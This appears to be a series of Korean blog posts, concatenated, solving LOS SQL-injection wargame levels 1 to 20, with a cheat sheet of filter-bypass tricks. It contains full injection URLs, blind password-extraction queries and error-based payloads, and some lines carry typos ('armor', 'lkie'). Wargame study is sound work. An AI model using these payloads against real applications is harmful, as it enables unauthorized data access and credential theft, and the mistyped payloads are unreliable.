LOS 워게임으로 알아가는 SQL 인젝션 우회기법!


1.문자열 입력 받을때 무조건 참 만드는 방법

'(싱글쿼터)로 막아두고 모조건 참이 되도록 or 1=1을 입력해준다 


2.주석처리 하는법

# 을 직접 적으로 쓰지 못하니까 %23을 써서 우회한다


3.PW 구하는법

'or id='admin' and length(pw)<9 %23 -길이를 확인한다

'or id='admin' and ascii(substr((pw),1,1))<100 %23 ascii 코드로 한글자 한글자 구한다 


4.공백 우회


1). Tab : %09

  - no=1%09or%09id='admin'

2). Line Feed (\n): %0a

  - no=1%0aor%0aid='admin'

3). Carrage Return(\r) : %0d

  - no=1%0dor%0did='admin'

4). 주석 : /**/

  - no=1/**/or/**/id='admin'

5). 괄호 : ()

  - no=(1)or(id='admin')

6). 더하기 : +

  - no=1+or+id='admin'

7). %0c


5.우회 문자 

'=' -> like,<>,in ()

ascii -> ord(),hex()

substr->substring,left,right,mid


만약 ascii값이 터무니 없게 크게 나오면 확장된 ascii 코드표 참고

출처:http://blog.daum.net/you0ha/18284059



6.or and 필터링 


||,&&=%26%26



7. ereg 함수 우회

대소문자 구별을 하기 때문에  Admin 으로 우회한다

ereg 함수의 취약점:

첫바이트에null 값을 집어 넣어 더이상 '(싱글쿼터)를 검색하지 못하게 한다 id=%00'or 1=1%23



8.str_replace 우회하기

id=adadminmin



9.싱글쿼터 우회하기

id='\' and pw=''

이럼 \에 의해서 \바로뒤에 있는 '가 끝내는 역할을 하지 못한다

따라서 \' and pw='  까지가 하나의 문장으로 묶여 버리고

그뒤는 쿼리로 인식할수있다




10.문자열이 ()로 묶여 있을때


')로 탈출이 가능하다




11.주석 우회 ;%00




12.개행 문자 

한줄 주석을 우회할때 유용하게 쓰인다.

%0a




13.항상 참이되는 식 만들기 


//모두 참으로 만들기 

이것은 -1보다 0이 더 크기 때문에 공격이 가능한 것이다.

'>-1#


또한 0이 1보다 작기 때문에 이것도 로그인이 가능하다.

'<1#


꼭 숫자가 한자리만 필요한건 아니다. 다음과 같이 연속적으로 사용이 가능하다.

1'<99#


비교 연산도 마찬가지 이다. 0=1은 0이 될 것이고 0이된 결과 값으로 id=''=0 참이 된다.

'=0=1#


또한 서로 값이 같아야 하는 비교 연산도 있다.

'<=>0#


이렇게 비교 연산을 이용하면 얼마든지 추가 응용이 가능한 공격 이다.

'=0=1=1=1=1=1#

'=1<>1#

'<>1#

1'<>99999#

'!=2!=3!=4#







'WARGAME > LOS' 카테고리의 다른 글

[LOS] 1~20번 문제 한번에 보는 정리된 해설  (0) 2017.12.13
[LOS] 20번 문제-dragon  (0) 2017.12.13
[LOS] 19번 문제-xavis  (0) 2017.12.13
[LOS] 18번 문제-nightmare  (0) 2017.12.13
[LOS] 17번 문제-succubus  (0) 2017.12.12

1번부터 자세하게 적은거 같아서 따로 올릴 필요는 없지만 그래도 정리한겸..



1번-gremlin 


id=1'or 1=1 %23

id가 ''으로 문자열 처리 되어있으니까 

id=1' 막아두고 모조건 참이 되도록 or 1=1을 입력해준다 



2번-cobolt

id값이 있어야 하고 그 id 값은 admin 이여야 하는 문제였다

답:id=admin ' %23 

1번과 같은 방식으로 id에 admin을 입력한뒤 그 뒤를 주석처리 해버리면 문제풀이가 가능하다  %23<-은 url 인코딩을 통해서 나오는 # 주석처리의 결과이다



3번-goblin

sql 쿼리의 특징을 보니 select 쿼리 끝에 항상 참인 결과가 들어가면 그 테이블안에있는 모든 칼럼이 출력되는걸 보고

모든 칼럼을 출력을 했다

여기서 이제 생각할건 그 모든 칼럼중에  admin 을 어떻게 출력할거인가 였는데 

생각보다 쉽게 풀렸다 order by 1로 한개만 출력할수도 있었고 limit를 사용하여 한개만 출력할수 있었다

답:no=2 or 1=1 order by 1



4번-orc

쿼리문이 2개 쓰인 문제이다

$_GET[pw] = addslashes($_GET[pw]); 

$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";

보이는 쿼리문에서는 GET[pw] 가 addslashes 로 묶여 버려서 우회가 "절대" 불가능하다


$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 

이걸 우회해야 답을 풀수 있다.


if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 

위 문장을 보면 pw가 값이 입력되야 풀리는걸 볼수있는데


즉 id는 admin 이고 그에 맞는 비밀번호를 구해야한다


https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw='or id='admin' and length(pw)<9 %23

이렇게 pw의 개수를 참 거짓이 출력되는 화면을 보고 구하고


https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw='or id='admin' and ascii(substr((pw),1,1))<100 %23

아스키 값을 입력하여 값을 하나하나 구해준다


총 길이는 8

답:295d5844



5번-wolfman


띄어쓰기 우회 %09

*SQL Injection 공격시 공백 문자 필터링시 우회 방법


https://los.eagle-jump.org/wolfman_f14e72f8d97e3cb7b8fe02bef1590757.php?pw='or%091=1%09limit%091,1%23

공백문자를 필터링해서 우선 모든 칼럼이 나오게 설정한뒤 limit로 값을 지정해준다 



6번-darkelf


or and () 다 못쓰고 항상 참인 경우를 만들기

# =, and, or 필터링 됐을 때

- 각각 like, &&, ||

답:https://los.eagle-jump.org/darkelf_6e50323a0bfccc2f3daf4df731651f75.php?pw='|| 1=1 limit 1,1 %23 



7번-orge

https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=%27||%20id=%27admin%27%20%26%26%20%20length(pw)=8%23 길이 찾고

https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=%27||%20id=%27admin%27%20%26%26%20%20ascii(substr((pw),1,1))=54%23

한문자 한문자 검색


and가 필터링 되면 && 써야하는데 url 문자에 걸리기 때문에 %26%26으로 바꿔서 입력해준다 


답:6c864dec




8번-troll


' 싱글 쿼터가 preg_match로 막혀있는 문제였다

그래서 도저히 id를 직접 입력할수 없는 문제여서 처음엔 싱글쿼터를 우회를 할수있지 않을까? 라는 생각에 도전을 해보았지만

시간만 잡아 먹었다

그리고 ereg 함수가 보여서 ereg 함수를 우회할 방법을 찾으니까 

대소문자 구별을 못하기 때문에  Admin과 같이 하면 우회를 할 수 있다



9번-vampire

str_replace  문자가 있어서 쉽게 우회했다

$_GET[id] = str_replace("admin","",$_GET[id]); 


str_replace 우회하기

id=adadminmin



10번-skeleton

https://los.eagle-jump.org/skeleton_8d9cbfe1efbd44cfbbdc63fa605e5f1b.php?pw='or 1=1 limit 1,1 %23

뒤에

$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 

1=0을 주석 처리 해버리고

리미트 써서 풀어 주면 답이 출력된다



11번-golem

?pw='|| id like 'admin %26%26 length(pw)<9 %23

길이를 먼저 구해주고 8글자 

?pw=%27||%20id%20like%20%27admin%27%20%26%26%20length(pw)<9%20%23

and or  =

막힌 문자열을 우회처리해서 값을 구해준다 

답:88e3137f



12번-darkknight

pw는 '' 라서 오류를 낼 방법이 없으니까

no로 오류를 발생시켜야한다 no는 숫자라서 space로 오류를 낼수가있다 그래서 오류를 내고 1=1 줘서 모든 값을 출력한다 

그다음 쿼리를 쓰기위해서 id='admin' 을 해야하는데 여기서 ' 싱글쿼터를 막아서 id='admin' 조건을 줄수없으니까 no를 활용해야한다  

그래서 limit사용해서 구조를 파악하니까 admin은 no가 2가 출력이 되었다

그래서 no=2를주고 ascii랑 substr이 막혀서 각각 ord mid 로 우회해서 값을 찾아 입력하였다 

49,99,54,50,98,97,54,102

비밀번호는:1c62ba6f


https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1 or 1 and no like 2 and ord(mid((pw),1,1)) like 49 %23



13번-bugbear


substr,ascii,',공백,and,or,like,=

각각 우회기법 

substr=mid

ascii=ord,hex

'=우회 못함

공백=%09

and=%26%26

or=||

=,like = in ()


pw=1&&no=1%09||%09%091%09in%09(1)

admin 위치는 no=2

pw=1&&no=1%09||%09%091%09in%09(1)%09%26%26%09no%09in%09(2)


그럼 이제 no를 통해서 admin의 패스워드 길이와 값을 구하면된다

pw=1&&no=1%09||%09%091%09in%09(1)%09%26%26%09no%09in%09(2)%09%26%26%09length(pw)<9

개수는 8로 구했고


hex 코드 사용해서 하나하나 구해주면 된다 

pw=1&&no=1%09||%09%091%09in%09(1)%09%26%26%09no%09in%09(2)%09%26%26%09hex(mid((pw),1,1))<(100)

답:735c2773



14번-giant

공백 문자 우회 문제

%0c



15번-assassin

pw=1234 union all select id from prob_assassion %23

pw=1 union all select id from prob_assassin limit 3,1 %23

https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?pw=832%

like 사용법 8%<-8로 시작되는 모든 것을 검색해라



16번-zombie_assassin

ereg 함수의 취약점

첫바이트에null 값을 집어 넣어 더이상 '(싱글쿼터)를 검색하지 못하게 한다 

id=%00'or 1=1%23



17번-succubus

id='\' and pw=''

이럼 \에 의해서 \바로뒤에 있는 '가 끝내는 역할을 하지 못한다

따라서 \' and pw='  까지가 하나의 문장으로 묶여 버리고

그뒤는 쿼리로 인식할수있다

?id=\&&pw=%20or%201=1%23


18번-nightmare


사용하는 주석처리가 모두 걸려서 우회할수 있는 방법을 찾았는데

;%00 <-이렇게 우회하면 안걸리고 사용이 가능하였다

그럼 pw를 무조건 참으로 만들고 뒤에 주석만 답이 나올것 같았는데

if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 

여기서 pw의 개수 제한이 걸려서

처음에는 strlen의 우회 기법을 찾아서 풀려고 했지만 아무리 찾아봐도 이걸 우회하는 방법은 따로 없어서

모두 참이 되는 값을 바꿔야 겠다 생각을 했다

'or 1=1 보다 간단한 방법이 많아서

'<1# 을 사용하였다

'<1;%00 이러면 4글자라서 답이 나올줄 알았는데 ()묶여 있어서 답이 나오지 않았다

' 뒤에 ) 괄호로 묶어 주었다. 



19번-xavis

pw='or 1=1 and length(pw)=40%23

길이가 40..개

ord(substr((pw),1,1))<200 %23

으로 하나하나 구해보면 

184,249,197,176,198,208,196,161,164,187,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0

아스키 코드 확장값 보고 풀었습니다

¸uA°ÆÐA¡¤≫



20번-dragon

#뒤는 한줄 주석이라서 개행해서 풀어야 했다

%0a<- 개행 문자 

줄 바꾼뒤 id='admin' 으로 하면 guest랑 admin 모두 출력되니까

limit로 admin 계정 위치만 잡아주면 답이 나왔다. 

pw='%0a or 1=1 and id='admin' limit 1,1 %23





20번 





#뒤는 한줄 주석이라서 개행해서 풀어야 했다

%0a<- 개행 문자 

줄 바꾼뒤 id='admin' 으로 하면 guest랑 admin 모두 출력되니까

limit로 admin 계정 위치만 잡아주면 답이 나왔다. 

pw='%0a or 1=1 and id='admin' limit 1,1 %23



19번




pw='or 1=1 and length(pw)=40%23

길이가 40..개

ord(substr((pw),1,1))<200 %23

으로 하나하나 구해보면 

아스키코드 :184,249,197,176,198,208,196,161,164,187,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0

아스키 코드 확장값 보고 풀었습니다



아스키 코드 확장값

출처:http://blog.daum.net/you0ha/18284059


답:¸uA°ÆÐA¡¤≫



'WARGAME > LOS' 카테고리의 다른 글

[LOS] 1~20번 문제 한번에 보는 정리된 해설  (0) 2017.12.13
[LOS] 20번 문제-dragon  (0) 2017.12.13
[LOS] 18번 문제-nightmare  (0) 2017.12.13
[LOS] 17번 문제-succubus  (0) 2017.12.12
[LOS] 16번 문제-zombie_assassin  (0) 2017.12.12

18번






사용하는 주석처리가 모두 걸려서 우회할수 있는 방법을 찾았는데

;%00 <-이렇게 우회하면 안걸리고 사용이 가능하였다

그럼 pw를 무조건 참으로 만들고 뒤에 주석만 답이 나올것 같았는데

if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 

여기서 pw의 개수 제한이 걸려서

처음에는 strlen의 우회 기법을 찾아서 풀려고 했지만 아무리 찾아봐도 이걸 우회하는 방법은 따로 없어서

모두 참이 되는 값을 바꿔야 겠다 생각을 했다

'or 1=1 보다 간단한 방법이 많아서

'<1# 을 사용하였다

'<1;%00 이러면 4글자라서 답이 나올줄 알았는데 ()묶여 있어서 답이 나오지 않았다

' 뒤에 ) 괄호로 묶어 주었다. 

'WARGAME > LOS' 카테고리의 다른 글

[LOS] 20번 문제-dragon  (0) 2017.12.13
[LOS] 19번 문제-xavis  (0) 2017.12.13
[LOS] 17번 문제-succubus  (0) 2017.12.12
[LOS] 16번 문제-zombie_assassin  (0) 2017.12.12
[LOS] 15번 문제-assassin  (0) 2017.12.12

17번-succubus







id='\' and pw=''

이럼 \에 의해서 \바로뒤에 있는 '가 끝내는 역할을 하지 못한다

따라서 \' and pw='  까지가 하나의 문장으로 묶여 버리고

그뒤는 쿼리로 인식할수있다



답: ?id=\&&pw=%20or%201=1%23




'WARGAME > LOS' 카테고리의 다른 글

[LOS] 19번 문제-xavis  (0) 2017.12.13
[LOS] 18번 문제-nightmare  (0) 2017.12.13
[LOS] 16번 문제-zombie_assassin  (0) 2017.12.12
[LOS] 15번 문제-assassin  (0) 2017.12.12
[LOS] 14번 문제-giant  (0) 2017.12.12

16번


ereg 함수의 취약점

첫바이트에null 값을 집어 넣어 더이상 '(싱글쿼터)를 검색하지 못하게 한다 

id=%00'or 1=1%23



'WARGAME > LOS' 카테고리의 다른 글

[LOS] 18번 문제-nightmare  (0) 2017.12.13
[LOS] 17번 문제-succubus  (0) 2017.12.12
[LOS] 15번 문제-assassin  (0) 2017.12.12
[LOS] 14번 문제-giant  (0) 2017.12.12
[LOS] 13번 문제-bugbear  (0) 2017.12.12

15번 문제


pw=1234 union all select id from prob_assassion %23

pw=1 union all select id from prob_assassin limit 3,1 %23

https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?pw=832%


like 사용법 8%<-8로 시작되는 모든 것을 검색해라




'WARGAME > LOS' 카테고리의 다른 글

[LOS] 17번 문제-succubus  (0) 2017.12.12
[LOS] 16번 문제-zombie_assassin  (0) 2017.12.12
[LOS] 14번 문제-giant  (0) 2017.12.12
[LOS] 13번 문제-bugbear  (0) 2017.12.12
[LOS] 12번 문제-darkknight  (0) 2017.12.10

14번



공백 문자 우회 문제

%0c

'WARGAME > LOS' 카테고리의 다른 글

[LOS] 16번 문제-zombie_assassin  (0) 2017.12.12
[LOS] 15번 문제-assassin  (0) 2017.12.12
[LOS] 13번 문제-bugbear  (0) 2017.12.12
[LOS] 12번 문제-darkknight  (0) 2017.12.10
[LOS] 11번 문제-golem  (0) 2017.12.10

13번




substr,ascii,',공백,and,or,like,=

각각 우회기법 

substr=mid

ascii=ord,hex

'=우회 못함

공백=%09

and=%26%26

or=||

=,like = in ()




pw=1&&no=1%09||%09%091%09in%09(1)


admin 위치는 no=2

pw=1&&no=1%09||%09%091%09in%09(1)%09%26%26%09no%09in%09(2)



그럼 이제 no를 통해서 admin의 패스워드 길이와 값을 구하면된다


pw=1&&no=1%09||%09%091%09in%09(1)%09%26%26%09no%09in%09(2)%09%26%26%09length(pw)<9

개수는 8로 구했고


hex 코드 사용해서 하나하나 구해주면 된다 

pw=1&&no=1%09||%09%091%09in%09(1)%09%26%26%09no%09in%09(2)%09%26%26%09hex(mid((pw),1,1))<(100)

답:735c2773



'WARGAME > LOS' 카테고리의 다른 글

[LOS] 15번 문제-assassin  (0) 2017.12.12
[LOS] 14번 문제-giant  (0) 2017.12.12
[LOS] 12번 문제-darkknight  (0) 2017.12.10
[LOS] 11번 문제-golem  (0) 2017.12.10
[LOS] 10번 문제-skeleton  (0) 2017.12.10

12번



*참고 

1. substr 우회

   right, left, mid 사용

   substr('apple',1,1) = 'a'  ->  right(left('apple',1),1) = 'a'

   substr('apple',1,1) = 'a'  ->  mid('apple',1,1) = 'a'

2. ascii 우회

   ord, hex 사용

   ascii(substr(pw,1,1)) = ord(substr(pw,1,1))

3. =, like, or, and 우회

  = : like, between, in, instr 이용

  or : ||   and : &&

4. 빈칸(공백) 우회

  ' ' : ( ), /**/, %09, %0a, %0c, %0b, +

 - HT(Horizontal Tab) = 수평탭, LF(Line Feed), VT(Vertical Tab) = 수직탭, FF(Form Feed)

5. ' (작은따옴표) 우회

  char 이용 or " (큰따옴표) 사용

6. ereg, eregi 우회

  - 특수문자 = %00 이용

  - 문자열 = 대소문자 변경

7. preg_match 우회

 \ 이용

8. 에러 발생 시 에러를 보여주지 않고 그냥 exit()로 종료 시킬 때

 - error based blind 기법 활용

 ex) ' or id='admin' and if(substr(hex(pw),1,1)='1',(select 1 union select 2),2)#

 ex) ' or id='admin'&&power((length(pw)>10)+1,999999999999999999)# <- if나 case 등 조건문이 필터링되었을 경우




https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1%20%20or%201%20like%201%20id%20like%20%22admin%22


https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1 or 1 like 1 and armor(mid((pw),1,1))<120 %23


substr(string,a,b)

right(left(string,a),b)



https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1 or 1 like 1 and length(pw) like 8%20%23

8자리고


비밀번호는:1c62ba6f


49,99,54,50,98,97,54,102

https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1 or 1 lkie 1 and no like 2 and ord(mid((pw),1,1)) like 49 %23


pw는 '' 라서 오류를 낼 방법이 없으니까

no로 오류를 발생시켜야한다 no는 숫자라서 space로 오류를 낼수가있다 그래서 오류를 내고 1=1 줘서 모든 값을 출력한다 

그다음 쿼리를 쓰기위해서 id='admin' 을 해야하는데 여기서 ' 싱글쿼터를 막아서 id='admin' 조건을 줄수없으니까 no를 활용해야한다  

그래서 limit사용해서 구조를 파악하니까 admin은 no가 2가 출력이 되었다

그래서 no=2를주고 ascii랑 substr이 막혀서 각각 armor mid 로 우회해서 값을 찾아 입력하였다


https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1 or 1 and no like 2 and ord(mid((pw),1,1)) like 49 %23

'WARGAME > LOS' 카테고리의 다른 글

[LOS] 14번 문제-giant  (0) 2017.12.12
[LOS] 13번 문제-bugbear  (0) 2017.12.12
[LOS] 11번 문제-golem  (0) 2017.12.10
[LOS] 10번 문제-skeleton  (0) 2017.12.10
[LOS] 9번 문제-vampire  (0) 2017.12.10

11번




?pw='|| id like 'admin %26%26 length(pw)<9 %23

길이를 먼저 구해주고 8글자 



?pw=%27||%20id%20like%20%27admin%27%20%26%26%20length(pw)<9%20%23

and or  =

막힌 문자열을 우회처리해서 값을 구해준다 


답:88e3137f



'WARGAME > LOS' 카테고리의 다른 글

[LOS] 13번 문제-bugbear  (0) 2017.12.12
[LOS] 12번 문제-darkknight  (0) 2017.12.10
[LOS] 10번 문제-skeleton  (0) 2017.12.10
[LOS] 9번 문제-vampire  (0) 2017.12.10
[LOS] 8번 문제-troll  (0) 2017.12.10

10번


https://los.eagle-jump.org/skeleton_8d9cbfe1efbd44cfbbdc63fa605e5f1b.php?pw='or 1=1 limit 1,1 %23

뒤에

$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 

1=0을 주석 처리 해버리고

리미트 써서 풀어 주면 답이 출력된다

'WARGAME > LOS' 카테고리의 다른 글

[LOS] 12번 문제-darkknight  (0) 2017.12.10
[LOS] 11번 문제-golem  (0) 2017.12.10
[LOS] 9번 문제-vampire  (0) 2017.12.10
[LOS] 8번 문제-troll  (0) 2017.12.10
[LOS] 7번 문제-orge  (0) 2017.12.09

9번 문제


str_replace  문자가 있어서 쉽게 우회했다





 $_GET[id] = str_replace("admin","",$_GET[id]); 


str_replace 우회하기


id=adadminmin

'WARGAME > LOS' 카테고리의 다른 글

[LOS] 11번 문제-golem  (0) 2017.12.10
[LOS] 10번 문제-skeleton  (0) 2017.12.10
[LOS] 8번 문제-troll  (0) 2017.12.10
[LOS] 7번 문제-orge  (0) 2017.12.09
[LOS] 6번 문제-darkelf  (0) 2017.12.09

8번 문제



' 싱글 쿼터가 preg_match로 막혀있는 문제였다

그래서 도저히 id를 직접 입력할수 없는 문제여서 처음엔 싱글쿼터를 우회를 할수있지 않을까? 라는 생각에 도전을 해보았지만

시간만 잡아 먹었다

그리고는 코드를 다시 보는데 ereg 함수가 보여서 허무할 따름이였다.

대소문자 구별을 못하기 때문에  Admin과 같이 하면 우회를 할 수 있다


'WARGAME > LOS' 카테고리의 다른 글

[LOS] 10번 문제-skeleton  (0) 2017.12.10
[LOS] 9번 문제-vampire  (0) 2017.12.10
[LOS] 7번 문제-orge  (0) 2017.12.09
[LOS] 6번 문제-darkelf  (0) 2017.12.09
[LOS] 5번 문제-wolfman  (0) 2017.12.09

7번


7번 

<?php 

  include "./config.php"; 

  login_chk(); 

  dbconnect(); 

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 

  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 

  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 

  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 

  $result = @mysql_fetch_array(mysql_query($query)); 

  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 

   

  $_GET[pw] = addslashes($_GET[pw]); 

  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 

  $result = @mysql_fetch_array(mysql_query($query)); 

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 

  highlight_file(__FILE__); 

?>


https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=%27||%20id=%27admin%27%20%26%26%20%20length(pw)=8%23 길이 찾고


https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=%27||%20id=%27admin%27%20%26%26%20%20ascii(substr((pw),1,1))=54%23

한문자 한문자 검색


6c864dec



'WARGAME > LOS' 카테고리의 다른 글

[LOS] 9번 문제-vampire  (0) 2017.12.10
[LOS] 8번 문제-troll  (0) 2017.12.10
[LOS] 6번 문제-darkelf  (0) 2017.12.09
[LOS] 5번 문제-wolfman  (0) 2017.12.09
[LOS] 4번 문제-orc  (0) 2017.12.09

6번 

6번 

<?php 

  include "./config.php"; 

  login_chk(); 

  dbconnect();  

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 

  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 

  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 

  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 

  $result = @mysql_fetch_array(mysql_query($query)); 

  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 

  if($result['id'] == 'admin') solve("darkelf"); 

  highlight_file(__FILE__); 

?>



or and () 다 못쓰고 항상 참인 경우를 만들기

# =, and, or 필터링 됐을 때

- 각각 like, &&, ||

 https://los.eagle-jump.org/darkelf_6e50323a0bfccc2f3daf4df731651f75.php?pw='|| 1=1 limit 1,1 %23


'WARGAME > LOS' 카테고리의 다른 글

[LOS] 8번 문제-troll  (0) 2017.12.10
[LOS] 7번 문제-orge  (0) 2017.12.09
[LOS] 5번 문제-wolfman  (0) 2017.12.09
[LOS] 4번 문제-orc  (0) 2017.12.09
[LOS] 3번 문제-goblin  (0) 2017.12.08

5번 



띄어쓰기 우회 %09

*SQL Injection 공격시 공백 문자 필터링시 우회 방법


https://los.eagle-jump.org/wolfman_f14e72f8d97e3cb7b8fe02bef1590757.php?pw='or%091=1%09limit%091,1%23

공백문자를 필터링해서 우선 모든 칼럼이 나오게 설정한뒤 limit로 값을 지정해준다 

 





1. Tab : %09


  - no=1%09or%09id='admin'


 2. Line Feed (\n): %0a


  - no=1%0aor%0aid='admin'


3. Carrage Return(\r) : %0d


  - no=1%0dor%0did='admin'


 4. 주석 : /**/


  - no=1/**/or/**/id='admin'


 5. 괄호 : ()


  - no=(1)or(id='admin')


 6. 더하기 : +


  - no=1+or+id='admin'


우회문자


'=' -> like,<>,in


ascii -> ord()


substr->substring,left,right,mid

'WARGAME > LOS' 카테고리의 다른 글

[LOS] 7번 문제-orge  (0) 2017.12.09
[LOS] 6번 문제-darkelf  (0) 2017.12.09
[LOS] 4번 문제-orc  (0) 2017.12.09
[LOS] 3번 문제-goblin  (0) 2017.12.08
[LOS] 2번 문제-cobolt  (0) 2017.12.08

4번 문제




쿼리문이 2개 쓰인 문제이다

  $_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";

보이는 쿼리문에서는 GET[pw] 가 addslashes 로 묶여 버려서 우회가 "절대" 불가능하다


  $query "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"

이걸 우회해야 답을 풀수 있다.


  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 

위 문장을 보면 pw가 값이 입력되야 풀리는걸 볼수있는데


즉 id는 admin 이고 그에 맞는 비밀번호를 구해야한다




https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw='or id='admin' and length(pw)<9 %23

이렇게 pw의 개수를 참 거짓이 출력되는 화면을 보고 구하고


https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw='or id='admin' and ascii(substr((pw),1,1))<100 %23

아스키 값을 입력하여 값을 하나하나 구해준다


총 길이는 8
답:295d5844




'WARGAME > LOS' 카테고리의 다른 글

[LOS] 6번 문제-darkelf  (0) 2017.12.09
[LOS] 5번 문제-wolfman  (0) 2017.12.09
[LOS] 3번 문제-goblin  (0) 2017.12.08
[LOS] 2번 문제-cobolt  (0) 2017.12.08
[LOS] 1번 문제-gremlin  (0) 2017.12.08

3번 




코드 //
<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(
preg_match('/\'|\"|\`/i'$_GET[no])) exit("No Quotes ~_~"); 
  
$query "select id from prob_goblin where id='guest' and no={$_GET[no]}"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if(
$result['id'] == 'admin'solve("goblin");
  
highlight_file(__FILE__); 
?>



id 가 출력이 되는데 그 조건은 where id가 guest고 no가 입력받은 $_GET 숫자여야한다

코드를 보면 검색해서 한줄씩 가지고 올수있는데

$query "select id from prob_goblin where id='guest' and no={$_GET[no]}"

$result = @mysql_fetch_array(mysql_query($query)); 

만약 no가 admin인 숫자를 맞춰서 admin으로 접속하면 문제가 풀린다


우선 풀이가 생각이 안나서 no값을 1~100번까지 대입했는데..

헛수고였다ㅠ _ㅠ

sql 쿼리의 특징을 보니 select쿼리 끝에 항상 참인 결과가 들어가면 그 테이블안에있는 모든 칼럼이 출력되는걸 보고

모든 칼럼을 출력을 했다

여기서 이제 생각할건 그 모든 칼럼중에  admin 을 어떻게 출력할거인가 였는데 

생각보다 쉽게 풀렸다 order by 1로 한개만 출력할수도 있었고 limit를 사용하여 한개만 출력할수 있었다


 


답은

https://los.eagle-jump.org/goblin_5559aacf2617d21ebb6efe907b7dded8.php?no=2 or 1=1 order by 1











'WARGAME > LOS' 카테고리의 다른 글

[LOS] 6번 문제-darkelf  (0) 2017.12.09
[LOS] 5번 문제-wolfman  (0) 2017.12.09
[LOS] 4번 문제-orc  (0) 2017.12.09
[LOS] 2번 문제-cobolt  (0) 2017.12.08
[LOS] 1번 문제-gremlin  (0) 2017.12.08

+ Recent posts